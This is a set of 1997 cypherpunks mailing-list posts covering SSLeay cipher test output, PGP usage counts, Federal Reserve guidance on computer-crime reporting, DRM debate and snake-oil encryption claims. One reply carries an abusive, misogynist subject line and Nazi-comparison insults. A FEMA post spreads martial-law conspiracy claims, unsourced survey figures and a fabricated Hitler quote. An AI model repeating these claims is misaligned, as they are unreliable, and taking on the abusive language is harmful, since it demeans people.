> Which for me shows only Unknown - try again in the white window.

If you have SSLeay 0.8.1, run
ssleay s_server -port xxxx -www

and when you connect to the port, it will return a page like
---
s_server -www 
Ciphers supported in s_server binary
SSLv3:RC4-SHA                  SSLv3:RC4-MD5         
SSLv3:EDH-RSA-DES-CBC3-SHA     
SSLv3:EDH-DSS-DES-CBC3-SHA     SSLv3:DES-CBC3-SHA
SSLv3:IDEA-CBC-MD5             
SSLv3:EDH-RSA-DES-CBC-SHA      SSLv3:EDH-DSS-DES-CBC-SHA
SSLv3:DES-CBC-SHA              
SSLv2:RC4-64-MD5               SSLv2:DES-CBC3-MD5
SSLv2:DES-CBC-MD5              
SSLv2:IDEA-CBC-MD5             SSLv2:RC2-CBC-MD5              SSLv2:RC4-MD5                  
SSLv3:EXP-EDH-RSA-DES-CBC      SSLv3:EXP-EDH-DSS-DES-CBC-SHA
SSLv3:EXP-DES-CBC-SHA          
SSLv3:EXP-RC2-CBC-MD5          SSLv3:EXP-RC4-MD5
SSLv2:EXP-RC2-CBC-MD5          
SSLv2:EXP-RC4-MD5              
---
Ciphers common between both SSL end points:
EXP-RC2-CBC-MD5
---
Reused, SSLv3, Cipher is EXP-RC2-CBC-MD5
SSL-Session:
    Cipher    : EXP-RC2-CBC-MD5
    Session-ID: 846612DBD344FBD663A000A621BD80C19786E2B38B352F38E17783282B8EEDB1
    Master-Key: D285F2AB4A9EC7D5D97E83480878CA24FF38E071FCD423C6BFE7C8A06BB77EADFF16A48BF1E3B45FEA4D1265ECBE2D50
    Key-Arg   : None
    Start Time: 878813292
    Timeout   : 7200 (sec)
---
   1 items in the session cache
   0 client connects (SSL_connect())
   0 client connects that finished
   4 server accepts (SSL_accept())
   4 server accepts that finished
   3 session cache hits
   0 session cache misses
   0 session cache timeouts
   0 callback cache hits
   0 cache full overflows (128 allowed)
---
no client certificate available






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 7 Nov 1997 14:05:02 +0800
To: jlhoffm@ibm.net (Jodi Hoffman)
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <345E53EF.14BB@ibm.net>
Message-ID: <199711070545.XAA01094@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> TruthMonger wrote:
> <snipped, because it's basically a lot of crap>
> Monger:
> Feel better?  I certainly hope so.
> By the way...for whatever it's worth:
> #1...I'm Jewish, not a Nazi-loving Christian bitch.

	Well, with different parents, you'd have felt right at home in a 
brown shirt.

> #2...You have no idea who or what I am.  

	You just have no ideas of your own. 

> #3...You hate that I'm right.  I love that.

	Actually, you are about as right as the bastard that torched your
ancestors.

> "Don't be too proud of this technological terror you've constructed." 
> - Darth Vader

	Even your choice of "people" to quote gives away your intentions. 

	
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 7 Nov 1997 07:38:56 +0800
To: cypherpunks@toad.com
Subject: Re: [SURVEY try again] pgp5.x / pgp2.x users
In-Reply-To: <199711042348.XAA04981@server.test.net>
Message-ID: <m0xTajX-0003bQC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



20 % of the users who have posted digitally signed messages that are
available in my news spool (international and local newsgroups and
mailing lists) use PGP 5.  The sample contains 545 unique e-mail
addresses.  YMMV.

S/MIME Cryptographic Signature
     10
Version: 2.3a
      1
Version: 2.6.1
      1
Version: 2.6.2
     68
Version: 2.6.2, by FileCrypt 1.0
      2
Version: 2.6.2i
      5
Version: 2.6.3
      4
Version: 2.6.3a
      8
Version: 2.6.3i
     37
Version: 2.6.3ia
    278
Version: 2.6.3ig
      1
Version: 2.6.3in
      9
Version: 2.7.1
      2
Version: 4.5
      6
Version: Cryptix 2.2.2
      2
Version: Cryptix 2.21
      3
Version: Cryptix 2.3.0
      1
Version: PGP 5.0i
      1
Version: PGP for Business Security 5.5
     12
Version: PGP for Personal Privacy 5.0
     86
Version: PGPfreeware 5.0 Charset: noconv
      1
Version: PGPfreeware 5.0i for non-commercial use
      7





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 7 Nov 1997 07:09:20 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: BXA mtg in DC, 12/9/97
In-Reply-To: <Beta.32.19971106134658.043abc40@208.139.36.80>
Message-ID: <Pine.BSF.3.96.971106235243.6951A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 6 Nov 1997, Greg Broiles wrote:

> 
> 
> In late September, I attended a meeting of the BXA's Regulations &
> Procedures Technical Advisory Committee in Portland (OR), where there was
> some discussion of crypto export control regulations, plans for changes to
> those regs, etc. There will be another meeting of that group on 12/9/97 at
> 9 AM in the (Herbert C., not J. Edgar) Hoover Building, Room 3884, between
> Pennsylvania & Constitution Avenues, NW, in Washington DC. The agenda is:

[...]
 
> [Closed session]
> 9.	Discussion of matters properly classified under Executive Order 19958,
> dealing with U.S. export control program and strategic criteria related
> thereto.

I wonder if they bug sweep the meetings room after the audience leaves...

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 7 Nov 1997 13:36:28 +0800
To: cypherpunks@cyberpass.net
Subject: From Our Friends at the Fed
Message-ID: <v0311070eb08852eb87a8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Thu, 6 Nov 1997 20:23:25 -0800
From: jmuller@brobeck.com (John D. Muller)
Subject: From Our Friends at the Fed
To: rah@shipwright.com
X-MIME-Autoconverted: from quoted-printable to 8bit by pop.sneaker.net id
XAA28997

     Thought this missive from the Federal Reserve (SR Letter 97-28 for
     those who insist on a formal citation) might be of interest.  Not sure
     if it's e$ or dcsb or cypherpunk-type material or none of the above,
     so I punt and let you decide.  Cheers.

     John Muller
     mailto:jmuller@brobeck.com



     ----------------------------------------------------------------------
     --
     Suggested Cover Letter


     To the Chief Executive Officer or General Manager of Each State Member
     Bank, Bank Holding Company, State Chartered, Non-Insured U.S. Branch
     or Agency of a Foreign Bank, and Edge and Agreement Corporation in
     Your District


     Dear ______________________:


              The Federal Bureau of Investigation, working with Federal
     Reserve staff and representatives from the other federal banking
     agencies as well as other federal law enforcement agencies, developed
     the attached guidance concerning the reporting of violations of the
     federal criminal statute relating to computer crimes, 18 U.S.C.
     ß 1030 (Fraud and Related Activity in Connection with Computers) in
     Suspicious Activity Reports (SARs).  The guidance is intended to
     facilitate the timely and accurate reporting of apparent violations of
     this law to law enforcement and bank supervisory agencies.


               The guidance describes the provisions of 18 U.S.C. ß 1030
     and gives some examples of conduct that may violate the law.  It also
     tells you how to report violations in a SAR.


               We would appreciate you bringing this matter to the
     immediate attention of all personnel in your organization responsible
     for reporting suspicious activity.


               In the event you have any questions concerning this matter,
     please contact __________________________.


     Sincerely,


     [Reserve Bank Official]





     Attachment




     ----------------------------------------------------------------------
     --



     GUIDANCE CONCERNING THE REPORTING OF COMPUTER-RELATED CRIMES
     BY FINANCIAL INSTITUTIONS



              This guidance is provided in order to explain the federal
     criminal statute relating to computer crimes, 18 U.S.C. ß 1030, and to
     ensure the timely and accurate reporting of apparent violations of the
     statute to law enforcement authorities.


     Background


              Regulations issued by the Federal Reserve, OCC, FDIC, OTS,
     and NCUA generally require banks, thrifts, credit unions, the U.S.
     branches and agencies of foreign banks, and other types of financial
     institutions to file Suspicious Activity Reports (SARs) whenever they
     detect any known or suspected federal criminal law violation or
     suspicious activity.  The SAR system facilitates the reporting of
     suspected criminal activity and money laundering in a standard format
     to a single collection point, from which the information may be
     rapidly disseminated to appropriate law enforcement agencies.  SARs
     play a critical role in collecting information about criminal activity
     affecting the financial community.  Under the five financial
     institutions supervisory agencies' current SAR rules, a financial
     institution is required to report any known or suspected criminal law
     violation involving an insider, regardless of amount.  A financial
     institution is also required to report any known or suspected federal
     criminal law violation that involves or aggregates more than $25,000
     in the event no suspect can be identified--a threshold that drops to
     $5,000 if a potential suspect can be identified.


               The current SAR form includes in Part III, Box 37, a listing
     of 17 various categories of criminal law violations and suspicious
     activities that a financial institution can check.  The categories
     include check, credit and wire transfer fraud,
     defalcation/embezzlement and mysterious disappearances, and also
     include a general category under "Other" that is to be used in the
     event the offense or activity does not appear to fit any of the
     delineated types of crimes.  There is no category in Part III, Box 37,
     specifically reserved for violations of the provisions of the U.S.
     criminal code relating to computer crimes--18 U.S.C. ß 1030 (Fraud and
     Related Activity in Connection with Computers).


     Criminal Law Relating to Computers


                Computers and computer networks are at the heart of
     operations of a modern financial institution.  Criminals--both inside
     and outside of financial institutions-- recognize the potential
     vulnerability of computer systems.  Consequently, financial
     institutions must be cognizant of the federal computer crime law, 18
     U.S.C. ß 1030. This statute specifically includes as a "protected
     computer," among other computers shielded by the statute, any computer
     exclusively for the use of a financial institution, or, if not
     exclusively for such use, used by or for a financial institution where
     the conduct constituting the offense affects that use.


                 Financial institutions should pay particular attention to
     three provisions of 18 U.S.C. ß 1030.  Section 1030(a)(2) specifically
     prohibits intentionally accessing a protected computer to obtain
     certain kinds of information without authority or in excess of
     authority.  Not only does it generally prohibit improperly obtaining
     information from any "protected" computer, but it specifically
     prohibits improperly obtaining information contained in a "financial
     record" of a financial institution.  The provision may also apply to
     an individual who hacks into a financial institution computer system.
     "Financial record" is defined as information derived from any record
     held by a financial institution pertaining to a customer's
     relationship with the institution.


                 Another provision applicable to financial institutions is
     the prohibition on using a "protected" computer without authorization
     or in excess of authorization to commit fraud.  The provisions of 18
     U.S.C. ß 1030(a)(4) criminalize the knowing use of a protected
     computer without authorization or in excess or authorization with
     intent to defraud, and by means of such conduct furthering the
     intended fraud and obtaining anything of value.  Thus, an individual
     who intentionally uses another person's home banking software and
     purloins that person's password in order to transfer money
     fraudulently into his or her personal bank account has committed a
     crime.


                  The third provision--18 U.S.C. ß 1030(a)(5)--with
     applications to financial institutions is the prohibition on
     intentional access without authorization that results in "damage" to a
     protected computer.  Damage is defined to include any impairment to
     the integrity or availability of data, a program, a system, or
     information that causes loss aggregating at least $5,000 in value
     during any one-year period.  An example may involve a disgruntled
     former employee who maintains a "back door" into the computer system
     and uses it to introduce a virus that disrupts the system.  Another
     example may involve an intruder who causes a system outage by flooding
     an institution's computer system with e-mail requests for information.


                 Other provisions of 18 U.S.C. ß 1030 applicable to
     financial institutions include subsection (a)(6), which outlaws
     trafficking in passwords knowingly and with intent to defraud.
     Subsection (a)(7) prohibits transmitting threats to cause damage to a
     protected computer with intent to extort money or any other thing of
     value from any legal entity, specifically including financial
     institutions.  This prohibition applies regardless of whether any
     actual damage is caused, or whether the offender actually had the
     ability to cause such damage.


                A violation of 18 U.S.C. ß 1030 can result in a fine or
     imprisonment for up to ten years.


     Guidance


                A financial institution should report on a SAR any activity
     that appears to be violative of 18 U.S.C. ß 1030.  If a reportable
     offense is detected, a financial institution should check Box 37r,
     marked "Other", and describe as completely as possible in Part VII,
     the narrative section of the SAR, the nature of the illegal or
     suspicious activity.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 7 Nov 1997 14:29:05 +0800
To: kraiwut@samart.co.th
Subject: Re: Profiling/pc security at Ben-Gurion Airport, Tel Aviv, Israel
In-Reply-To: <1.5.4.32.19971104141539.00678200@pop.samart.co.th>
Message-ID: <199711070615.AAA01201@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> I wrote down most of the questions used for their  profiling scheme. If
> anyone is interested I will send them if requested. If anyone is interested
> in creating a page dedicated to these profiling schemes(American, Israeli,
> anyone)  I would be happy to contribute. 
> send security suggestions to: hico@hotmail.com

	If anyone is really interested in doing this, I have server space 
available. Send mail to petro@encodex.com.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 7 Nov 1997 15:04:17 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <v03102805b085a65a1f91@[207.167.93.63]>
Message-ID: <199711070645.AAA01308@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 9:58 PM -0700 11/4/97, Eric Cordian wrote:
> See my other post on this topic. The Christian *LEFT* has been active for
> several decades in opposing U.S. involvement in wars, in aiding and
> abetting draft dodgers, in supporting Marxist regimes in Latin America, in
> establishing the Sanctuary Movement, in sabotaging ICBM production
> facilities, and in urging churchgoers to vote the agenda being pushed.
> So?
> Tax all churches or tax no churches, but don't give government the power to
> decide if a religion is "worthy" of special tax treatment.

	While I agree with some of your points, I would think that a clear line can
be drawn between Religions as expressed in organized churches, and religously 
oriented political organizations. Raplh Reed & Crew have distinctly different 
characteristics than does Da Pope. 

	I don't believe that the churches religious activities should be taxed or
regualted, however their commercial enterprises should be taxed like every other 
corporation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 7 Nov 1997 08:08:24 +0800
To: cypherpunks@toad.com
Subject: Re: [Fwd: Re: [RePol] Donations Received]
Message-ID: <199711062347.AAA15518@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Six wrote:
> This was sent through EFGA's Georgia Cracker Remailer, but seems to
> have gotten 'lost' in the remail.
> Go figure...

Perhaps they objected to you not using your Government approved 
'Prisoner of Citizenship' name.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dirko <meddle@adept.co.za>
Date: Fri, 7 Nov 1997 07:42:20 +0800
To: cypherpunks@toad.com
Subject: Ooops....!
Message-ID: <XFMail.971107012952.meddle@adept.co.za>
MIME-Version: 1.0
Content-Type: text/plain



That should have been cypherpunks-request@toad.com ...
SH**
sorry ... It's coffee buzz...
*shake*
---------------------------------- 
Dirko van Schalkwyk 
Dead Engineers Society
E-Mail: meddle@adept.co.za
Date: 11/07/97
Time: 01:28:37
-----------------------
Movie Quotes for Willow (1988)
-----------------------
Sorsha: What are you looking at?
Madmartigan: Your leg. I'd like to break it.
------------- 
All of the following stolen from selected poeple mailing to the AfterStep
mailing list
-----------------------
Contrary to popular belief, Unix is user friendly.It just happens to be very
selective about who it decides to make friends with.
-----------------------
Windows95 (noun): 32 bit extensions and a graphical shell for a 16 bit patch
to an 8 bit operating system originally coded for a 4 bit microprocessor,
written by a 2 bit company, that can't stand 1 bit of competition





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 7 Nov 1997 18:39:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199711071011.CAA00433@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>> Before the test, though, insurance might be useful--I could
>> essentially place a bet with someone that I had the disease--I pay
>> $1, and get a million dollars back if my test comes back
>> positive--just enough to pay for my treatment.
>
>The insurance company would have no financial incentive to take on
>such risks -- I reckon they'd sooner let the wanna-be customer die.
>Nasty, but it's reality.

They could charge an addtional $1 premium.

Insurance, if properly administered, is a bad bet for the customer if
we only pay attention to financial considerations.  However, the
customer can lose more than money, he or she can lose her life, which
is worth an up front premium to the insurance company.

The numbers we have been working with here are interesting, though.
Usually, the cost of the tests isn't justified by the information they
give us.  Presumably if the tests were economical, they would be
required.  Insurance companies do require checkups sometimes which is
really just a set of tests.

>And being a hard line anarcho capitalist, I draw the conclusion that
>if you can't afford to keep yourself alive, that is your problem.
>(Heartless ain't it:-)

In practice you might not be so heartless.  Even Monty Cantsin has
been known to help those who have fallen upon hard times.

The real philosophical question is whether other people should be
forced to support our charities.  (The real world question is whether
other people should be forced to support alleged charities.)

Those who advocate forced "charity" are making a curious assertion.
They themselves do not wish to dispense the charity they so highly
value, but they wish others to do so, at gunpoint if necessary.

I do not see any way in which such behavior may be defended as
civilized or decent.

>A charity could also refuse to help people who hadn't donated, if
>it chose.
>
>I bet it would work too, and a lot more efficiently than the
>government regulated setup now.

Many decades ago there used to be organizations called "mutual aid
societies".  They were sort of like mutual insurance companies, except
they may have been more flexible in the benefits they guaranteed.

They took care of whole sets of misfortunes for their members.  For
instance, if your house burned down or you were laid off, or whatever,
the other members of the society would help you get on your feet
again.  Note: the other members had a strong incentive to get you on
your feet.  (This cannot be said of welfare bureaucrats whose market
share dwindles the more they succeed.)

They were typically organized into local chapters which would then
belong to larger organizations which would, to some extent, insure
that the local chapter remained financially solvent.

The societies were more than insurance companies - they were also
social clubs.  This aspect was used to manage the moral hazard
problem.

These societies were tremendously successful.  A conservative estimate
of membership in the United States showed ten times as many people
belonged to these societies as belong to labor unions at the peak of
the labor movement.  Yet, they have been almost entirely ignored by
academia, probably because they do not fit nicely in a patronizing
ideological framework.

Tom Palmer of the Cato Institute has studied the subject.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 7 Nov 1997 11:08:54 +0800
To: cypherpunks <jya@pipeline.com>
Subject: FEMA site using cookies
Message-ID: <19971107.025151.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/html

Title:  FEMA Cookies 

-----BEGIN PGP SIGNED MESSAGE-----

!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.0//EN">



     
   

    Cookies used on federal sites 
    By Stephanie Miles 
    CNET:  November 6, 1997, 5:10 p.m.  PT 
    http://www.news.com/News/Item/0,4,16137,00.html?owv 

    According to ...  an OMB Watch...  report "A Delicate 
    Balance: The Privacy and Access Practices of Federal 
    Government World Wide Web Sites," web sites for the Federal
    Emergency Management Agency (FEMA), National Science
    Foundation (NSF), and Department of Veterans Affairs were
    using [cookies]... 

    No one from FEMA was available for comment.
                                                
yes, FEMA. 

I'm sure FEMA wants to know where anybody who visits them also 
visits so they can pass the list off to the DEA, BATF, FBI, CIA,
whatever.

don't leave home without it! American Express? no --Lucent's
lpwa.com which is a nym style web server which handles the 
interface so you can receive mail to their machine generated 
nym. fast, too.
 
there is more reason to fear FEMA than even F{reeh,uck}.  one
stroke of the pen on an executive order and FEMA has total
control under martial law, including the suspension of civil
liberties, trials, etc.  FEMA has approximately 2,500 full time
employees who are subject to no-one except the President of the
United States -until he signs the order, then FEMA's resources
are unlimited.  

do you think FEMA would surrender their power once the 
emergency was over?  anymore than Roosevelt or any of
succeeding Presidents have surrendered their powers under 
the "Trading with the Enemy" Act of 1917 as amended 09 Mar
1933 by an unsuspecting special session of Congress?  

remember, in an emergency, FEMA has the armed forces at 
its disposal and can use same to go door to door with dogs to
confiscate firearms, etc. why do you think this question was 
posed to all special operations units [recon and specop] of the 
Marines plus Navy Seals, etc.?
                                                
        The USMC 29 Palms Combat Arms Survey:  

        #46. "The U.S. government declares a ban on the
             possession, sale, transportation, and transfer 
             of all non-sporting firearms ...consider the
             following statement: 
                                                

                I would fire upon U.S. citizens who refuse or 
                resist confiscation of firearms banned by the
                U.S. government..." 
                                    

they were looking for a yes/no answer --no maybes.  if anybody
thinks this is a joke --it was not; it was given to most units 
at 29 Palms, Pendleton, LeJuene, and Paris Island. the
percentage responses were interesting:  men with less than 5
years service were 90% "yes" --grizzled old NCOMs with 15 or 
more years were less than 15% "yes." 

shows what the federal government educational system is capable
of conditioning with a little help from movies and television.
subliminally, was has been glorified by the merchants of death: 
arms manufacturers and power hungry politicians. 

Well, staring down the beast and living to tell about it (20 
years later when he heat cools down) may be the greatest thrill
you'll ever have in life; and sport hunting is a non-event after
you have hunted man...  ask jya what the beast looks like...
jya, like I, will probably answer:  "which one?"  

that question was one of 50 --others included the willingness to
suppress Americans on American soil while in the command of UN 
officers. 

testing the waters?  
maybe so, but when do we hear this statement again:


   "1935 will go down in history!  For the first time a 
    civilized nation has full gun registration! Our 
    streets will be safer, our police more efficient, 
    and the world will follow our lead in the future!"  
        --Adolf Hitler 



rather chillingly "true" statement today, is it not? 



    attila out loudly!





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jZYbTudnnOrXkPd59nhJNwhnmEBc6dGd1ycAmZ+V21lN/6tYjzMPAg==
=Chvy
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 7 Nov 1997 16:43:40 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <778f0f4aea334245a9ecf97493e708c1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Where can I get my hands on an anon-remailer that runs under Win95?  Does such a remailer even exist?  If not, why not?
        






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Crisavec <dbrown@alaska.net>
Date: Fri, 7 Nov 1997 22:48:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FEMA site using cookies
Message-ID: <3.0.3.32.19971107053024.007f2100@alaska.net>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun typethed the following...
                             
>>         The USMC 29 Palms Combat Arms Survey:            #46. "The U.S.
>>government declares a ban on the              possession, sale,
>>transportation, and transfer               of all non-sporting firearms
>>...consider the              following statement:                        
>>                         
>>>                  I would fire upon U.S. citizens who refuse or        
>>>         resist confiscation of firearms banned by the                
>>>U.S. government..."                                      
>
>  they were looking for a yes/no answer --no maybes.  if anybody thinks
>this is a joke --it was not; it was given to most units  at 29 Palms,
>Pendleton, LeJuene, and Paris Island. the percentage responses were
>interesting:  men with less than 5 years service were 90% "yes" --grizzled
>old NCOMs with 15 or  more years were less than 15% "yes."   shows what the
>federal government educational system is capable of conditioning with a
>little help from movies and television. subliminally, was has been
>glorified by the merchants of death:  arms manufacturers and power hungry
>politicians. --   

This doesn't surprise me at all Attila.They don't teach the constitution in
High School anymore. That accounts for the lower ranks. The NCOM's answers
are to be expected, They STRESS Posse Commitais<sp?> and the constitution
for ALL noncom's. It's part of the testing for promotion to E-5 and up.
Most of the noncom's have been in long enough to be thorouly  disillusioned
by the military in general. The only thing keeping a lot of them in is
enertia...



 --Dave

 Any neural system sufficiently complex to generate the axioms
   of arithmetic is too complex to be understood by itself.
                                       Kaekel's Conjecture





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 7 Nov 1997 19:50:33 +0800
To: rah@shipwright.com>
Subject: Re: new lanl patent?
In-Reply-To: <v0311074ab0880af8248c@[139.167.130.248]>
Message-ID: <Chameleon.878899242.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Some interesting hits for "data embedding" on IBM's patent server page...

http://patent.womplex.ibm.com/details?patent_number=5671277
ISSUED: Sep. 23, 1997
FILED:  Oct. 21, 1994
Snip of abstract:  Additional data useful for the management of copies 
of a document for an image forming apparatus is embeddedin a hard 
copy of the document. The additional data is embedded in an inherent 
image of a document as pixels arranged in a prescribed format, and,
preferably, the size of the pixels is such as to not be easily 
recognized with the naked eye. 

http://patent.womplex.ibm.com/details?patent_number=5659726
ISSUED: Aug. 19, 1997
FILED:  Feb. 23, 1995
ABSTRACT:   A method of embedding auxiliary information into a set of host 
data, such as a photograph, television signal, facsimile transmission, or 
identification card. All such host data contain intrinsic noise, allowing 
pixels in the host data which are nearly identical and which have values 
differing by less than the noise value to be manipulated and replaced with 
auxiliary data. As the embedding method does not change the elemental 
values of the host data, the auxiliary data do not noticeably affect the 
appearance or interpretation of the host data. By a substantially reverse 
process, the embedded auxiliary data can be retrieved easily by an 
authorized user. 


The patent office needs a fucking clue server. Hmmm... wonder if I can get a
patent for one?


- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 11/07/97
Time: 05:33:04
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "R. Jason Cronk" <listmanager@orange.redmans.com>
Date: Fri, 7 Nov 1997 22:48:34 +0800
To: whgiii@invweb.net
Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street	 musician protocol)
Message-ID: <v03102802b088d648c4e3@[199.227.220.35]>
MIME-Version: 1.0
Content-Type: text/plain




>From: "William H. Geiger III" <whgiii@invweb.net>
>Date: Thu, 06 Nov 97 19:12:16 -0600
>To: Robert Hettinga <rah@shipwright.com>
>Cc: cypherpunks@cyberpass.net, cryptography@c2.net
>Subject: Re: Hughes Markets? (Was Re: Copyright commerce and the street
>musician protocol)
>

<SNIP>

>
>Well how exactly does one prevent data from being stolen once it has been
>unlocked? I pay my 2X to view the picture anonymously and now I copy it
>save it and distribute it worldwide. I fail to see how any
>encryption/watermark scheme can prevent me from doing so.

Most of my discussion on this subject took place in DCSB mailing list,
which I didn't cc to cypherpunks or cryptography@c2.net.

Anyway, the gist the most ERMs (Electronic Right Management) is that the
"unlocking" has to be integral with the playing.  In other words, you don't
pay for and then get an "unlocked" version on your computer, but rather the
player and decryption mechanism are integrated to the point that they can
be unintegrated.  Still this doesn't prevent one from sticking a microphone
up next to the speaker to pointing a camcorder at the video screen, but it,
in theory, prevents one from making an exact digital duplicate.

This is not to say that I agree that ERM will work.  I am of the impression
that market forces will negate the benefit of said system.  Its easy when
there are just a few media producers, but with hundreds of thousands vying
for attention, those that seek to control their content through ERM are at
a disadvantage in the marketspace.

Jason Cronk







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: billp <billp@nmol.com>
Date: Sat, 8 Nov 1997 00:47:08 +0800
To: cypherpunks@cyberpass.net
Subject: NSA lawsuit recent documents
Message-ID: <3463543E.ECC@nmol.com>
MIME-Version: 1.0
Content-Type: text/plain

Guys,

I think NSA tangled with the wrong groups.

Let's hope for settlement.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "virginia plain" <vplain@hotmail.com>
Date: Sat, 8 Nov 1997 02:21:45 +0800
To: cypherpunks@toad.com
Subject: wewease de secwet weapon
Message-ID: <19971107180619.8888.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



tell sam to eat the fruit before seven
don't forget to spit out the seeds.virginia

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sat, 8 Nov 1997 02:28:09 +0800
To: cypherpunks@toad.com
Subject: Re: Totally Unbreakable VME
Message-ID: <3.0.32.19691231160000.006d5900@best.com>
MIME-Version: 1.0
Content-Type: text/plain



It has just about all the earmarks of snakeoil.
It's got:
"breakthrough"
all sorts of nifty acronyms
sounds like a stream algorithm by another name
you of course can't get the source code
it's going to "revolutionize" cryptography... 
.... yawn ....
Remember Elementrix?

"In fact, Bill Gates and several of his competitors have been personally
challenged to validate or discredit these claims. "

I'll go one better than that! "Bill - you and your buddies all give me
$1,000,000"
I think I'll cut a press release right now ...



At 10:26 AM 11/7/97 -0500, you wrote:
>
>News report Nov 7, 97:
>
>AT&T, Hewlett Packard, Intel Corporation, Dell Computers, and 
>many other leading computer corporations have been added to the 
>challenge list by Meganet Corporation. The challenge started 
>last week with Bill Gates, now some of his peers have an opportunity 
>to validate or discredit the bold claim that Meganet's VME 
>(Virtual Matrix Encryption) is totally unbreakable. 
>
>Unbreakable encryption is the only answer to security 
>in our electronic world. This is graphically illustrated 
>by the recent report from the National Security Agency
>reporting the open market availability of a $10 chip that 
>can test up to 200 million keys per second. The 56-bit key, 
>government and banking standard, can be compromised in 
>twelve (12) seconds with brute force using ASIC
>(Application-specific Integrated Circuits) chips. 
>
>Meganet has the answer with its new VME (Virtual Matrix 
>Encryption). The impenetrable VME also has extreme speed, 
>much faster than any existing program available today. 
>
>Major computer companies are already starting discussions 
>to acquire the rights to market this incredible new data 
>encryption system. More information about this
>exciting new technology can be found at: www.meganet.com
>
>----------
>
>Hmm, wonder if it has impenetrable GAK and CAK options.
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Nov 1997 23:46:00 +0800
To: cypherpunks@toad.com
Subject: Totally Unbreakable VME
Message-ID: <1.5.4.32.19971107152649.00a4af90@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



News report Nov 7, 97:

AT&T, Hewlett Packard, Intel Corporation, Dell Computers, and 
many other leading computer corporations have been added to the 
challenge list by Meganet Corporation. The challenge started 
last week with Bill Gates, now some of his peers have an opportunity 
to validate or discredit the bold claim that Meganet's VME 
(Virtual Matrix Encryption) is totally unbreakable. 

